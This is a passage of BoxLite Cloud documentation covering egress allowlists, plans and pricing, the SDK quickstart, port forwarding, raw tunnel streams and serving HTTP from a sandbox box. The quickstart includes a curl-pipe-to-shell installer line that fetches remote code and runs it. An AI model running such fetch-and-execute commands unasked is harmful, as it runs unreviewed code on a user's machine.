Your code therefore reports a failed connection to `0.0.0.0` rather than a refusal or a policy message, and a `nslookup` of a blocked host can still exit `0` because the lookup itself succeeded. Read the resolved address, never the exit code, when you want to know what a box's DNS returned for a host. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # cloud_egress_allowlist.py — create a Cloud box with an outbound allowlist # Run: python cloud_egress_allowlist.py import asyncio import os import time from boxlite import ( ApiKeyCredential, Boxlite, BoxliteRestOptions, BoxOptions, NetworkSpec, ) IMAGE = "ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0" # The hosts this box is meant to talk to. Everything else is left off the list. ALLOWED_HOSTS = ["pypi.org", "files.pythonhosted.org"] async def resolve(box, host: str) -> str: """Run nslookup inside the box and return its stdout.""" execution = await box.exec("nslookup", args=[host]) output = "" async for line in execution.stdout(): output += line await execution.wait() # exit code says nothing about a sinkhole return output async def main() -> None: # export BOXLITE_API_KEY= before running rt = Boxlite.rest(BoxliteRestOptions( url=os.environ.get("BOXLITE_REST_URL", "https://api.boxlite.ai"), credential=ApiKeyCredential(os.environ["BOXLITE_API_KEY"]), )) box_id = None try: box = await rt.create( BoxOptions( image=IMAGE, network=NetworkSpec(mode="enabled", allow_net=ALLOWED_HOSTS), ), name=f"egress-allowlist-{int(time.time())}", ) box_id = box.id await box.start() # Read the resolved address for a listed host and an unlisted one. for host in ("pypi.org", "example.com"): print(f"--- nslookup {host} ---") print(await resolve(box, host)) except Exception as exc: print(f"allowlist demo failed: {type(exc).__name__}: {exc}") finally: # Teardown on the runtime, in finally, so a failure above leaves nothing running. if box_id: try: await rt.remove(box_id, force=True) except Exception as exc: print(f"remove failed: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` `mode="disabled"` is the other end of the range. The mode means a box with no network interface at all: DNS and every outbound connection fail, while commands and file operations work as normal. That is the mode to ask for when a box's only job is to run code you do not trust with a network. [Network access](/manage-sandbox/network-access) documents both modes in full. One more thing to know about a box you did not configure yourself. A box created without a `network` field inherits your organization's default, and that default can be limited egress rather than open egress — so a box that resolves fewer hosts than you expect may be following the organization default rather than misbehaving. That default is set at the platform level; it is not a field of `BoxOptions` and not part of the boxes API. ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | Fetching a preview URL returns unauthorized | The box is private, and the request carried no credential that the preview proxy accepts | Choose deliberately: issue a signed preview URL for the port, or set the box public with `POST /api/box/{boxIdOrName}/public/true` and accept that anyone with a URL can reach it | | A signed URL that worked a minute ago now fails | Its lifetime elapsed — the default is 60 seconds when you omit `expiresInSeconds` — or the token was revoked through the expire route | Request a new signed URL, passing an `expiresInSeconds` that matches how long a person actually needs | | A signed URL fails immediately after you issue it | The token was already revoked, or the URL was truncated in transit through a chat client or ticket field | Issue a fresh signed URL and paste the whole `url` value, including its token | | The preview URL loads but nothing answers, or the connection is refused | The service inside the box is bound to `127.0.0.1`, so traffic arriving on the box's network interface cannot reach it | Bind `0.0.0.0` — `python3 -m http.server 8080 --bind 0.0.0.0`, Flask `app.run(host="0.0.0.0")`, uvicorn `--host 0.0.0.0`. Background: [Network](/cloud/network) | | A preview URL that worked stops responding after a quiet period | The box was stopped for being idle. Preview traffic keeps a running box alive, and does not wake a stopped one | Start the box again, then re-check the URL. Raise or disable the idle timeout for a box that must stay reachable — see [Stop when idle](/cloud/box-lifecycle#stop-when-idle) | | The preview URL answers for one port and 404s for another | A preview URL addresses a single port. The second port needs its own | Fetch `GET /api/box/{boxIdOrName}/ports/{port}/preview-url` again with the other port number | | An outbound request in the box connects to `0.0.0.0` and fails there | The host is not on the box's `allow_net` list, and a blocked host is sinkholed rather than refused | Add the host to `allow_net` when the box legitimately needs it. Verify by reading the resolved address, not the exit code — see [Network access](/manage-sandbox/network-access) | | `nslookup` of a blocked host exits `0`, so a script treats it as reachable | The lookup succeeded; it just answered `0.0.0.0` | Test the resolved address in your script, for example by checking whether the output contains `0.0.0.0` | | The public flag call returns forbidden | The key's holder lacks write access to boxes in your organization | Use a credential with write access to boxes, or ask whoever administers the organization to make the change | | A box resolves fewer hosts than you expect, and you passed no `network` field | The box inherited your organization's default for limited outbound egress | Pass an explicit `NetworkSpec` with the hosts the box needs, so the box's egress is stated in your code rather than inherited | ## Next steps Dial a port inside a box from your own code with an SDK tunnel, for HTTP, WebSocket, or any TCP protocol. Images, sizes, and the lifecycle controls that decide whether a shared URL still has a box behind it. The `NetworkSpec` parameter table and the egress allowlist in full. # Wallet or a plan? Source: https://docs.boxlite.ai/cloud/plans Two ways to fund usage on BoxLite Cloud, the usage level at which a subscription starts costing less than paying from your wallet, and the concurrency limit that is not a money question at all. Usage on BoxLite Cloud can be funded two ways: from a prepaid **wallet** alone, or from a **plan** whose included quota covers usage first and whose wallet picks up the rest. Which one costs less is arithmetic, and it turns on a single number — your monthly usage. ## How funding works **Quota covers first, the wallet funds the rest.** A box draws on this cycle's included quota until the quota is gone, and on your prepaid wallet balance from then on. An account does not have to carry a plan. With no plan there is no included quota, and every dollar of usage comes straight out of the wallet — pay-as-you-go, in the ordinary sense. ## The plans Each plan buys more usage than it costs, which is where the saving comes from: | Plan | Price | Included quota | Concurrency limit | Saving past quota | | - | - | - | - | - | | Starter | \$19/mo | \$30 | 20 boxes | \$11/mo | | Pro | \$149/mo | \$250 | 100 boxes | \$101/mo | | Max | \$499/mo | \$900 | 1000 boxes | \$401/mo | The last column is the quota minus the price. Once your usage passes a plan's quota, that is exactly what the plan saves you against paying full price from the wallet, every month. **Enterprise** is negotiated rather than self-serve: custom limits and compliance review, arranged through [sales@boxlite.ai](mailto:sales@boxlite.ai). A negotiated plan carries no public price, and an unlimited quota or concurrency shows as unlimited rather than as a number. ## Which one costs less Look up what the console reports as spent this month, and three thresholds decide it: | When your monthly usage passes | Move to | Because | | - | - | - | | **\$20** | Starter | Starter's $19 buys $30 of usage | | **\$161** | Pro | Pro's flat $149 beats Starter's $150 at this point | | **\$601** | Max | Max's flat $499 beats Pro's $500 at this point | The first threshold is a plan's own price: past $20 of usage, Starter's flat $19 beats paying full price from the wallet. The other two are crossovers against the **previous plan's total cost** at that usage level, not against their own price — Starter's $19 plus overage reaches Pro's flat $149 at $160, and Pro's reaches Max's at $600. Below a plan's own price you are buying quota you will not use. These thresholds assume a typical month. If your usage swings — a heavy month followed by a quiet one — the plan price is charged either way, so size against your *steady* level rather than your peak. ## Concurrency is a separate decision Concurrency caps how many boxes run **at the same time** — not how many you create over a month, and not how much work each one does. It is independent of quota: you can hit the limit with quota to spare, and exhaust quota while running a single box. If you are building an agent fleet, size against your fan-out. An orchestrator that runs 40 parallel agents, one box each, needs a plan whose limit clears 40 — Starter's 20 will stall it halfway through the batch. So concurrency alone can push you onto a larger plan well before the money says to move. A fleet of 40 short-lived Small boxes might spend \$60 a month — Starter territory on cost — while needing Pro's 100-box limit to run at all. ## Changing plans The direction of the change decides when it lands and what you are charged: | Change | When it applies | What you are charged now | | - | - | - | | **Upgrade** | Immediately, and the new quota is available right away | The prorated difference, today | | **Downgrade** | At the next cycle roll | Nothing | | **Cancel** | At the end of the cycle you have paid for | Nothing | | **Subscribe** (from no plan) | As soon as payment is confirmed | The plan price, through Stripe checkout | Two details worth knowing before you act: * **A downgrade does not cost you this cycle's quota.** The quota you already paid for stays available until the cycle rolls, along with the current plan's concurrency limit. * **A queued change can be called off.** While a downgrade or cancellation is scheduled, the console offers to keep your current plan instead, which discards the queued change. ## Troubleshooting | Situation | Why it happens | What to do | | - | - | - | | New boxes are refused while your existing boxes keep running fine | You are at your plan's concurrency limit — the cap is on boxes running simultaneously, not on boxes created | Stop or delete a box to free a slot, or move to a plan with a higher limit | | Cost is showing as wallet-funded rather than quota-covered | This cycle's included quota is consumed, so usage now draws on the prepaid balance | Nothing is broken. Keep the wallet funded, or move to a plan whose quota matches your steady-state usage | | Your plan shows as having no subscription | The account carries no plan, so there is no included quota and no plan concurrency limit | Pick a plan, or keep running on wallet balance alone if your usage is below \$20/mo | | A plan change you scheduled has not happened | Downgrades and cancellations apply at the cycle roll, not immediately | Check the cycle end date. To act sooner, upgrade instead — upgrades apply immediately | | Switching away from your current plan is refused | Your plan is negotiated rather than self-serve, so it has no catalog price to switch against | Talk to [sales@boxlite.ai](mailto:sales@boxlite.ai) before changing | ## Next steps The hourly rates behind every dollar figure on this page. Top up the wallet, set automatic reload, and read the usage chart. # Forward a box port to a local port Source: https://docs.boxlite.ai/cloud/port-forwarding Publish a port inside a Cloud box on an address on your own machine, so any TCP client can reach it without knowing about BoxLite. Some clients cannot be taught to speak through an SDK — `curl`, a browser, a database driver, an existing library that only knows how to dial a socket. `forward()` publishes the tunnel on a local address so all of them just work. ## Prerequisites * An API key from the console, exported as `BOXLITE_API_KEY`. See [API keys](/cloud/api-keys). * `pip install boxlite`, and the REST URL exported as `BOXLITE_REST_URL`. See [Quickstart](/cloud/quickstart). * A box you can start, and a service inside it that listens on a TCP port. Every example reads both values from the environment, so nothing hard-codes a credential. `forward()` publishes the tunnel on an address on your machine, so any TCP client — `curl`, a browser, a database driver, an existing library that only knows how to dial a socket — can reach the service without knowing about BoxLite. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # cloud_tunnel_forward.py — publish a box port on a local port # Run: python cloud_tunnel_forward.py import asyncio import os import time import urllib.request from boxlite import ( ApiKeyCredential, Boxlite, BoxliteRestOptions, BoxOptions, SocketAddress, ) GUEST_PORT = 18080 IMAGE = "ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0" async def main() -> None: # export BOXLITE_API_KEY= before running rt = Boxlite.rest(BoxliteRestOptions( url=os.environ.get("BOXLITE_REST_URL", "https://api.boxlite.ai"), credential=ApiKeyCredential(os.environ["BOXLITE_API_KEY"]), )) box_id = None forwarder = None try: box = await rt.create( BoxOptions(image=IMAGE), name=f"tunnel-forward-{int(time.time())}", ) box_id = box.id await box.start() launch = await box.exec("sh", args=[ "-c", f"nohup python3 -m http.server {GUEST_PORT} --bind 0.0.0.0 " "> /tmp/server.log 2>&1 & echo launched", ]) await launch.wait() await asyncio.sleep(2) # give the server time to bind # host must be a numeric IP; port=0 asks the OS for a free port. listener = SocketAddress.tcp(host="127.0.0.1", port=0) tunnel = await box.network.tunnel(GUEST_PORT) forwarder = await tunnel.forward(listener) # consumes the tunnel local = forwarder.local_addr() # synchronous print(f"forwarding 127.0.0.1:{local.port} -> box port {GUEST_PORT}") # Any TCP client can now dial the local address. urllib is blocking, # so run it off the event loop. def fetch() -> int: url = f"http://127.0.0.1:{local.port}/" with urllib.request.urlopen(url, timeout=10) as resp: return resp.status print(f"local request status: {await asyncio.to_thread(fetch)}") except Exception as exc: print(f"forward demo failed: {type(exc).__name__}: {exc}") finally: if forwarder is not None: try: await forwarder.close() except Exception as exc: print(f"forwarder close failed: {exc}") if box_id: try: await rt.remove(box_id, force=True) except Exception as exc: print(f"remove failed: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` Three constraints on the listening address: * The host must be a **numeric IP**. `SocketAddress.tcp(host="localhost")` raises `ValueError: tunnel listener host must be a numeric IP` — pass `"127.0.0.1"`. * `port=0` is the default and asks the operating system for a free port. Read the port you actually got from `forwarder.local_addr().port`. * A Unix socket path must be **absolute**. `SocketAddress.unix("relative.sock")` raises `ValueError: tunnel Unix socket path must be absolute`. `await forwarder.wait()` blocks until the forwarder finishes, which is what you await in a long-running process instead of exiting. `await forwarder.close()` shuts it down. The forwarder is built from a tunnel, and `forward()` spends that tunnel, so build each forwarder from its own fresh `await box.network.tunnel(port)`. ## Next steps How tunnels work, the full parameter reference, and the outbound boundary. Control what the box itself is allowed to reach. # Pricing Source: https://docs.boxlite.ai/cloud/pricing What BoxLite Cloud charges for: three metered resources billed by the hour, funded by a prepaid wallet or a plan's included quota. BoxLite Cloud meters three things, by the hour: | Resource | Unit | Rate | | - | - | - | | vCPU | per vCPU-hour | **\$0.0504** | | Memory | per GiB-hour | **\$0.0144** | | Disk | per GiB-hour | **\$0.00018** | Nothing else is metered — no charge for network traffic, API requests, mounted volumes, preview URLs, or boot time. There is no minimum billable duration and no rounding up to the hour. Usage is funded by a prepaid **wallet**, or by a **plan** whose included quota is consumed first. ## In this section The formula, what the standard sizes come to per hour and per month, and exactly which hours are counted. **Start here.** Why a stopped box keeps charging you, and the two controls that stop it. Plan tiers, and the usage level at which a subscription starts costing less. Top up, set automatic reload, and read what you were actually charged. ## Which page do I want? | You are asking | Page | | - | - | | What will a Medium box cost me for a month? | [What a box costs](/cloud/box-costs) | | Why am I still being charged for a box I stopped? | [Cost controls](/cloud/cost-controls) | | Should I subscribe or keep paying from the wallet? | [Wallet or a plan?](/cloud/plans) | | How do I stop my wallet hitting zero overnight? | [Managing billing](/cloud/billing#set-automatic-reload) | | What was I actually charged? | [Managing billing](/cloud/billing#read-the-usage-chart) | | How large can a single box be? | [Managing billing](/cloud/billing#per-box-resource-ceilings) | # Run untrusted code on BoxLite Cloud Source: https://docs.boxlite.ai/cloud/quickstart Create an API key, point the SDK at BoxLite Cloud, and run a command inside a hardware-isolated box — no local virtualization, no daemon, three steps. BoxLite Cloud runs your boxes on BoxLite's own resource pool, so the machine that calls the API needs nothing but a URL and an API key. Untrusted code still lands inside a microVM with hardware-level isolation — you no longer operate the hypervisor underneath it. ## Prerequisites | Prerequisite | Notes | | - | - | | A BoxLite Cloud account | Sign in to the console at `https://app.boxlite.ai`. | | An API key | Created in the console — step 1 below. | | Python 3, Node, or `curl` + `jq` | Whichever tab you follow in step 3. | In the console, open **API Keys** and click **Create Key**. Give it a name such as `sdk-quickstart` and leave **Expires** at its default of `No expiration` while you are exploring. The key looks like `blk_live_...` and is shown in full exactly once, at creation. Copy it then — the list view only ever shows a masked form afterwards. A key grants access to the Boxes API: it can create and manage boxes, and shared Linux base images are available to it automatically. For key rotation, per-environment keys, and the CLI credential store, see [API keys and authentication](/cloud/api-keys). ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} pip install boxlite ``` ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} npm install @boxlite-ai/boxlite tsx ``` The Node client construction for Cloud is shown in [Give the key to your code](/cloud/api-keys#give-the-key-to-your-code). ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} curl -fsSL https://sh.boxlite.ai | sh ``` ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # The REST tab needs no SDK — only curl and jq curl --version jq --version ``` Then export your credentials. Read the key interactively so it never lands in your shell history: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} read -rs BOXLITE_API_KEY # prompts without echoing; paste your blk_live_... key export BOXLITE_API_KEY export BOXLITE_REST_URL="https://api.boxlite.ai" ``` ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # cloud_quickstart.py — create a box on BoxLite Cloud, run a command, tear it down # Run: python cloud_quickstart.py import asyncio import os import time from boxlite import ( ApiKeyCredential, Boxlite, BoxOptions, BoxliteRestOptions, ) api_key = os.environ.get("BOXLITE_API_KEY") if not api_key: raise SystemExit("Set BOXLITE_API_KEY to your blk_live_... key before running this.") async def main() -> None: # Boxlite.rest(...) is a synchronous constructor; every runtime method below is awaited rt = Boxlite.rest( BoxliteRestOptions( url=os.environ.get("BOXLITE_REST_URL", "https://api.boxlite.ai"), credential=ApiKeyCredential(api_key), ) ) box = None try: # name is an argument of rt.create(), not a field of BoxOptions box = await rt.create( BoxOptions(image="ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0"), name=f"sdk-quickstart-python-{int(time.time())}", ) await box.start() print(f"Created box: {box.id}") # Over REST, exec takes the command plus an args list execution = await box.exec("echo", args=["Hello from BoxLite SDK"]) output = "" async for line in execution.stdout(): output += line result = await execution.wait() print(f"Exit code: {result.exit_code}") print(output) except Exception as exc: # Authentication failures, network errors and creation failures all surface here print(f"Cloud run failed: {exc!r}") finally: # Teardown lives on the runtime. Putting it in finally means a failure above # cannot leave a box running and billing. if box is not None: await rt.remove(box.id, force=True) print(f"Removed {box.id}") if __name__ == "__main__": asyncio.run(main()) ``` ```typescript theme={"theme":{"light":"github-light","dark":"github-dark"}} // cloud_quickstart.ts — create a box on BoxLite Cloud, run a command, tear it down // Run: npx tsx cloud_quickstart.ts import { ApiKeyCredential, BoxliteRestOptions, JsBoxlite, } from "@boxlite-ai/boxlite"; async function main(): Promise { const apiKey = process.env.BOXLITE_API_KEY; if (!apiKey) { throw new Error("Set BOXLITE_API_KEY to your blk_live_... key before running this."); } // JsBoxlite.rest(...) is a synchronous constructor; every runtime method below is awaited const rt = JsBoxlite.rest( new BoxliteRestOptions({ url: process.env.BOXLITE_REST_URL ?? "https://api.boxlite.ai", credential: new ApiKeyCredential(apiKey), }), ); let boxId: string | null = null; try { // The box name is the second argument of create(), not a field of the options object const box = await rt.create( { image: "ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0" }, `sdk-quickstart-node-${Math.floor(Date.now() / 1000)}`, ); boxId = box.id; await box.start(); console.log(`Created box: ${box.id}`); // Over REST, exec takes the command plus an args array const execution = await box.exec("echo", ["Hello from BoxLite SDK"]); // A stream is consumed once; iterate until next() returns null const stdout = await execution.stdout(); let output = ""; while (true) { const line = await stdout.next(); if (line === null) break; output += line; } const result = await execution.wait(); console.log(`Exit code: ${result.exitCode}`); console.log(output); } catch (err) { // Authentication failures, network errors and creation failures all surface here console.error("Cloud run failed:", err); } finally { // Teardown lives on the runtime, so a failure above cannot leave a box running if (boxId !== null) { await rt.remove(boxId, true); console.log(`Removed ${boxId}`); } rt.close(); } } main(); ``` Two call shapes differ from Python: `exec` takes its argument list positionally (`box.exec("echo", ["hi"])`), and a stdout stream is pulled with `next()` until it returns `null` rather than iterated with `for await`. Field names are camelCase throughout — `result.exitCode`, and `diskSizeGb` / `memoryMib` on the options object. ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # One disposable box, one command, automatic teardown. # --rm removes the box once the command exits. boxlite run --rm --name "sdk-quickstart-cli-$(date +%s)" \ ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0 \ echo "Hello from BoxLite CLI" ``` `boxlite` talks to Cloud whenever REST configuration is present in the environment, which the `BOXLITE_REST_URL` and `BOXLITE_API_KEY` exports from step 2 provide. The CLI exit code is the exit code of the command you ran. To store credentials once instead of exporting them per shell, see [API keys and authentication](/cloud/api-keys#persist-credentials-for-the-cli). ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} #!/usr/bin/env bash # cloud_quickstart.sh — create a box on BoxLite Cloud, run a command, tear it down set -euo pipefail BOXLITE_REST_URL="${BOXLITE_REST_URL:-https://api.boxlite.ai}" : "${BOXLITE_API_KEY:?Set BOXLITE_API_KEY to your blk_live_... key before running this}" auth=(-H "Authorization: Bearer ${BOXLITE_API_KEY}") json=(-H "Content-Type: application/json") name="sdk-quickstart-rest-$(date +%s)" # Create — the response carries the new box in the box_id field box_id="$(curl -fsS -X POST "${BOXLITE_REST_URL}/v1/boxes" \ "${auth[@]}" "${json[@]}" \ -d "{\"name\":\"${name}\",\"image\":\"ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0\"}" \ | jq -r '.box_id')" echo "Created box: ${box_id}" # Remove the box on any exit, so a failure below cannot leave it running trap 'curl -fsS -X DELETE "${BOXLITE_REST_URL}/v1/boxes/${box_id}?force=true" "${auth[@]}" >/dev/null' EXIT curl -fsS -X POST "${BOXLITE_REST_URL}/v1/boxes/${box_id}/start" "${auth[@]}" # Exec — the response carries the execution in the execution_id field exec_id="$(curl -fsS -X POST "${BOXLITE_REST_URL}/v1/boxes/${box_id}/exec" \ "${auth[@]}" "${json[@]}" \ -d '{"command":"echo","args":["Hello from BoxLite REST"]}' \ | jq -r '.execution_id')" # Read the execution record back curl -fsS "${BOXLITE_REST_URL}/v1/boxes/${box_id}/executions/${exec_id}" "${auth[@]}" ``` Run it with `bash cloud_quickstart.sh`. Every path is relative to `BOXLITE_REST_URL`, so the create call above resolves to `https://api.boxlite.ai/v1/boxes`. ## What just happened The five calls in that script are the whole Cloud lifecycle. Every language binding and the REST API expose the same five, in the same order: 1. **Authenticate.** `Boxlite.rest(...)` wraps your key in an `ApiKeyCredential` and points every later call at `https://api.boxlite.ai`. Nothing is sent at construction time — the object is just a configured client. 2. **Create.** `rt.create(BoxOptions(image=...), name=...)` allocates a box from a shared Linux base image and returns a handle. On Cloud the box is already running by the time this returns — `POST /v1/boxes` answers with `status: running`, and reading the box back before any other call reports the same. 3. **Start.** `box.start()` is what boots the microVM on a self-hosted runtime. On Cloud the box is up already, so the call confirms that state rather than changing it: it is safe to repeat, and returns the box still `running`. Keeping it in the script is what lets the same five calls run against either runtime. 4. **Exec.** `box.exec("echo", args=[...])` launches one process inside the VM and hands you an execution handle. `execution.wait()` blocks until that process exits and returns its exit code. 5. **Remove.** `rt.remove(box.id, force=True)` destroys the box and its disk. Removal is a **runtime** method, not a box method — the box handle you hold is a pointer, and the runtime owns the fleet. Step 5 is the one to internalize. A box you forget to remove keeps running, and a running box is what BoxLite Cloud charges for — see [What a box costs](/cloud/box-costs). Putting teardown in a `finally` block, as the script above does, is the difference between an exception costing you a stack trace and an exception costing you a box. ## Expected output ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} Created box: Exit code: 0 Hello from BoxLite SDK Removed ``` The `Exit code` line comes from `execution.wait()` and is the authoritative success signal. The `Hello from BoxLite SDK` line is what the box wrote to stdout, collected by iterating `execution.stdout()`. ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `401 Unauthorized` on the first call | The key is missing, mistyped, or was deleted in the console. | Confirm the value starts with `blk_live_` and matches a live key in **API Keys**. See [API keys and authentication](/cloud/api-keys#troubleshooting). | | `SystemExit: Set BOXLITE_API_KEY ...`, or the CLI uses your local runtime instead of Cloud | The key never reached the process — a new shell, a different terminal tab, or a service manager that does not inherit your exports. | Re-run the `read -rs` and `export` pair from step 2 in that shell. For anything long-lived, store the credential with `boxlite auth login` instead of exporting it. | | A box from an earlier run is still listed as running | The script exited before teardown — an exception outside `try`, a `Ctrl-C`, or a crash. | Remove it explicitly with `await rt.remove("", force=True)` (CLI: `boxlite rm`), then move teardown into a `finally` block as shown above. | | A long job stops part-way through with no error from your code | The box was stopped for being idle, and work running *inside* the box does not count as activity. | Adjust **STOP WHEN IDLE** when you create the box in the console — see [Stop when idle](/cloud/box-lifecycle#stop-when-idle). | | `execution.stdout()` finishes without yielding lines | Streamed output is a separate channel from the exit code. Only `execution.wait()` is guaranteed to report the process result. | Treat `result.exit_code` as the success signal and collect output as a bonus. When you need output you can depend on, redirect it to a file in the box and read the file back. | | An HTML page comes back instead of JSON, and the status is `200` | The base URL points at the console host `https://app.boxlite.ai` instead of the API host. The console answers unrecognised paths with the dashboard page, so a wrong base URL returns markup rather than an error. | Set `BOXLITE_REST_URL` to exactly `https://api.boxlite.ai`. | ## Next steps Pick an image and a size, and learn the three lifecycle controls Cloud applies while a box runs. Storage that outlives a box, so the next box can mount it and read the data back. What a running box costs against your included quota and wallet, plus the per-box ceilings. Every difference between a self-hosted box and a Cloud box, in one table. # Read and write raw bytes over a tunnel Source: https://docs.boxlite.ai/cloud/raw-streams Drive a tunnel as a bidirectional byte stream when you are speaking a protocol of your own rather than HTTP. A tunnel moves bytes and interprets nothing along the way. When your service speaks a protocol of its own, take the connection directly and read and write it yourself. ## Prerequisites * An API key from the console, exported as `BOXLITE_API_KEY`. See [API keys](/cloud/api-keys). * `pip install boxlite`, and the REST URL exported as `BOXLITE_REST_URL`. See [Quickstart](/cloud/quickstart). * A box you can start, and a service inside it that listens on a TCP port. Every example reads both values from the environment, so nothing hard-codes a credential. `connect()` hands you the byte stream directly. This is the level you work at for a protocol that is not HTTP — a line protocol, a binary framing, a database wire protocol — or when you want full control over what goes on the wire. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # cloud_tunnel_bytes.py — talk to a non-HTTP TCP service inside a box # Run: python cloud_tunnel_bytes.py import asyncio import os import shlex import time from boxlite import ApiKeyCredential, Boxlite, BoxliteRestOptions, BoxOptions GUEST_PORT = 18090 IMAGE = "ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0" # A line protocol: read one newline-terminated line, reply with it upper-cased. SERVER_CODE = f""" import socketserver class Handler(socketserver.StreamRequestHandler): def handle(self): line = self.rfile.readline() self.wfile.write(line.upper()) class Server(socketserver.ThreadingTCPServer): allow_reuse_address = True Server(("0.0.0.0", {GUEST_PORT}), Handler).serve_forever() """ async def main() -> None: # export BOXLITE_API_KEY= before running rt = Boxlite.rest(BoxliteRestOptions( url=os.environ.get("BOXLITE_REST_URL", "https://api.boxlite.ai"), credential=ApiKeyCredential(os.environ["BOXLITE_API_KEY"]), )) box_id = None connection = None try: box = await rt.create( BoxOptions(image=IMAGE), name=f"tunnel-bytes-{int(time.time())}", ) box_id = box.id await box.start() launch = await box.exec("sh", args=[ "-c", f"nohup python3 -u -c {shlex.quote(SERVER_CODE)} " "> /tmp/line-server.log 2>&1 & echo launched", ]) await launch.wait() await asyncio.sleep(2) # give the server time to bind tunnel = await box.network.tunnel(GUEST_PORT) connection = await tunnel.connect() await connection.write(b"ping over a raw tunnel\n") # Signals that you have finished sending. This server replies to the # newline, so it does not depend on seeing the half-close -- see Limits. await connection.shutdown_write() reply = bytearray() while b"\n" not in reply: chunk = await connection.read(4096) # max_bytes must be non-zero if not chunk: # empty read: the far side closed the stream break reply.extend(chunk) print(f"reply: {bytes(reply)!r}") except Exception as exc: print(f"byte stream demo failed: {type(exc).__name__}: {exc}") finally: if connection is not None: try: await connection.close() except Exception as exc: print(f"connection close failed: {exc}") if box_id: try: await rt.remove(box_id, force=True) except Exception as exc: print(f"remove failed: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` `read(max_bytes)` returns up to `max_bytes` bytes and an empty `bytes` object once the far side has closed. `max_bytes` of `0` raises `ValueError: max_bytes must be non-zero`, and reading after `close()` raises a BoxLite error carrying `connection is closed`. A synchronous surface exists as well: `SyncBox.network` and `SyncBox.tunnel(port)` return the `SyncNetworkHandle` and `SyncTunnelForwarder` equivalents of the classes documented here. ## Next steps How tunnels work, the full parameter reference, and the outbound boundary. Control what the box itself is allowed to reach. # Serve HTTP from a box and get a public URL Source: https://docs.boxlite.ai/cloud/serve-http Start an HTTP server inside a Cloud box, open a tunnel to its port, and use the public URL the tunnel gives you. A box running a web app, a dev server, or an API is only useful once something outside can reach it. Ask the box for a tunnel to the port your server listens on, and the tunnel hands you a public URL. ## Prerequisites * An API key from the console, exported as `BOXLITE_API_KEY`. See [API keys](/cloud/api-keys). * `pip install boxlite`, and the REST URL exported as `BOXLITE_REST_URL`. See [Quickstart](/cloud/quickstart). * A box you can start, and a service inside it that listens on a TCP port. Every example reads both values from the environment, so nothing hard-codes a credential. This script creates a box, starts an HTTP server inside it, prints the tunnel's public URL, makes a request over the tunnel, and removes the box in `finally`. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # cloud_tunnel_http.py — serve HTTP from a Cloud box and reach it through a tunnel # Run: python cloud_tunnel_http.py import asyncio import os import time from boxlite import ApiKeyCredential, Boxlite, BoxliteRestOptions, BoxOptions GUEST_PORT = 18080 IMAGE = "ghcr.io/boxlite-ai/boxlite-agent-base:v0.1.0" async def http_get(tunnel, path: str = "/") -> bytes: """Send one HTTP request over one tunnel. connect() consumes the tunnel.""" connection = await tunnel.connect() try: request = ( f"GET {path} HTTP/1.1\r\n" "Host: localhost\r\n" "Connection: close\r\n\r\n" ).encode() await connection.write(request) response = bytearray() while True: chunk = await connection.read(64 * 1024) if not chunk: # an empty read means the far side closed the stream break response.extend(chunk) return bytes(response) finally: await connection.close() async def main() -> None: # export BOXLITE_API_KEY= before running rt = Boxlite.rest(BoxliteRestOptions( url=os.environ.get("BOXLITE_REST_URL", "https://api.boxlite.ai"), credential=ApiKeyCredential(os.environ["BOXLITE_API_KEY"]), )) box_id = None try: box = await rt.create( BoxOptions(image=IMAGE), name=f"tunnel-http-{int(time.time())}", ) box_id = box.id await box.start() # Bind 0.0.0.0: the tunnel arrives on the box's network interface, # so a server on 127.0.0.1 inside the box cannot be reached. launch = await box.exec("sh", args=[ "-c", f"nohup python3 -m http.server {GUEST_PORT} --bind 0.0.0.0 " "> /tmp/server.log 2>&1 & echo launched", ]) await launch.wait() # uri() is synchronous and does not consume the tunnel. tunnel = await box.network.tunnel(GUEST_PORT) print(f"tunnel URL: {tunnel.uri()}") # The server needs a moment. Each attempt needs its own tunnel. response = b"" for attempt in range(20): try: response = await http_get(tunnel) if response.startswith(b"HTTP/1."): break except Exception as exc: print(f"attempt {attempt + 1}: {type(exc).__name__}: {exc}") await asyncio.sleep(1) tunnel = await box.network.tunnel(GUEST_PORT) # the previous one is spent if response.startswith(b"HTTP/1."): print(response.split(b"\r\n", 1)[0].decode()) else: log = await box.exec("cat", args=["/tmp/server.log"]) text = "" async for line in log.stdout(): text += line await log.wait() print(f"no HTTP response. server log:\n{text}") except Exception as exc: print(f"tunnel demo failed: {type(exc).__name__}: {exc}") finally: # Teardown on the runtime, in finally, so a failure above cannot leave a box running. if box_id: try: await rt.remove(box_id, force=True) except Exception as exc: print(f"remove failed: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` Expected output: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} tunnel URL: https://... HTTP/1.0 200 OK ``` `uri()` returns the public URL of a tunnel served remotely, which is what a Cloud tunnel is. On a local runtime the same call returns `None`, because a local tunnel is already a live connection with no address to publish. Reading `uri()` leaves the tunnel usable — only `connect()` and `forward()` spend it. The snippet starts the server with `python3`. If the server log says `python3: not found`, install an interpreter into the box first, or start a service the image already ships. ## Next steps How tunnels work, the full parameter reference, and the outbound boundary. Control what the box itself is allowed to reach. # How tunnels work Source: https://docs.boxlite.ai/cloud/tunnels The one API behind every way of reaching into a Cloud box: how a tunnel is 